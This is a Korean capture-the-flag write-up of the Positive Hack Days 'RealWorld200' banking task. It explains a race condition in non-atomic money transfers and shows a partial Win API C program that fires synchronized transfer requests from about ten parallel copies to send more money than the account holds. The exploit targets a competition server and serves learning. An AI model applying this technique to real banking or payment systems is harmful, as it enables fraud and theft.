Positive Hack Days - RealWorld200

- by daehee
- KAIST 정보보호대학원

문제

Task: Top up your bank account and you will find the cherished flag.
http://ctf.phdays.com:1629

서버에 접속하면 **Banking** 기능이 있는 사이트가 열리는데 회원가입이 가능하다.
회원가입후 로그인하면 메인화면에 메시지가 나오는데, 자신에게 **2000** 달라의 빚을 진것을 갚으라고 한다. 그러나 잔액을 확인해보면 **1000** 달라밖에 없다.
계좌 이체를 할 수 있는 페이지에 가면 자신이 전송할 금액과 전송할 대상의 **id** 를 명시할 수 있다. 처음에 나타난 메시지의 **id** 로 **2000** 달러를 전송하면 **flag** 를 주는것 같다.

그런데 **race condition** 이라는 힌트가 주어졌다
즉 **transaction** 이 **atomic** 하게 일어나지 않는 경우 이를 조작할수 있는 점을 이용하라는 것 같았다.

계좌이체를 요청할때 아마도 서버측 스크립트상에서

요청금액을 목적지 id 의 계좌에 더해주고, 그다음에 빠져나갈 계좌의 돈을 삭감한다면 그 사이에 일어나는 동일한 transaction 은 성공할 것이다.(목적지 계좌의 돈은 증가했지만 source 계좌의 돈이 아직 삭감되지 않았기 때문에). 결과적으로 1000 원을 가지고 2000원을 이체하는 것이 가능할 것이다.

분석결과 서버에서 지속적으로 **Session ID** 를 변경시키기때문에 **wget** 같은것으로는 동시다발적인 **transaction** 요청을 만들 수 없었다. 그래서 완전 동시에 **transaction** 을 요청할 수 있는 프로그램을 **Win API**로 아래와같이 만들었다.
(전체 코드의 일부임)

```
// url for crack.
#define ADDR "http://ctf.phdays.com:1629/?act=transaction"
#define ADDRLOGIN "http://ctf.phdays.com:1629/?act=login"
#define ADDRMAIN "http://ctf.phdays.com:1629/?act=main"

#define ATTACK_TIME 46
int g_form=1;

void main(){

// login.
  memset(g_postdata, 0, 256);
  strcpy(g_postdata, "user=level1");

  HTTPDown2File( ADDRLOGIN );

  SYSTEMTIME st;
  GetSystemTime(&st);
  printf("%d¥n", st.wMinute);

  while(1){
      GetSystemTime(&st);
      if(st.wMinute == ATTACK_TIME) break;
  }

  // set post data
  memset(g_postdata, 0, 256);
  strcpy(g_postdata, "account=40433343a063d26054a3169b42b5957f&amount=1000");
  HTTPDown2File( ADDR );

  HTTPDown2File( ADDRMAIN );
  HTTPDown2File( ADDR );

}
```

Windows HTTP 관련 API 를 사용하기때문에 HTTP 헤더에 대한 처리는 걱정할 필요가 없다 서버측에서 요구하는 Set-Cookie 명령등은 알아서 수행되고 반영될 것이다.

이 프로그램은 서버에 접속한뒤에 id : level1 pw : "" 계정으로 로그인한다.
(post 데이타부분을 세팅해서)

그다음 시스템 시간이 ATTACK_TIME 이 될때까지 대기하고 ATTACK_TIME 이 되는순간 서버에서 요구한 account 로 가진돈 1000 달라를 지정된 계좌로 이체시킨다.
그리고 다른 페이지들을 다운로드받는다.

이 프로그램을 10개정도 동시에 띄워서 정확한 ATTACK_TIME 에
동일한 transaction request 를 10개를 날리도록 하고 packet sniffer 로
서버측 response 를 관찰했다.

그 결과 transaction 간의 race condition 이 일어나서 목표 계좌에 2000 달라가 입금되었다
그 이후 다른 페이지를 열어보니 flag 가 적힌 결과가 나타났다.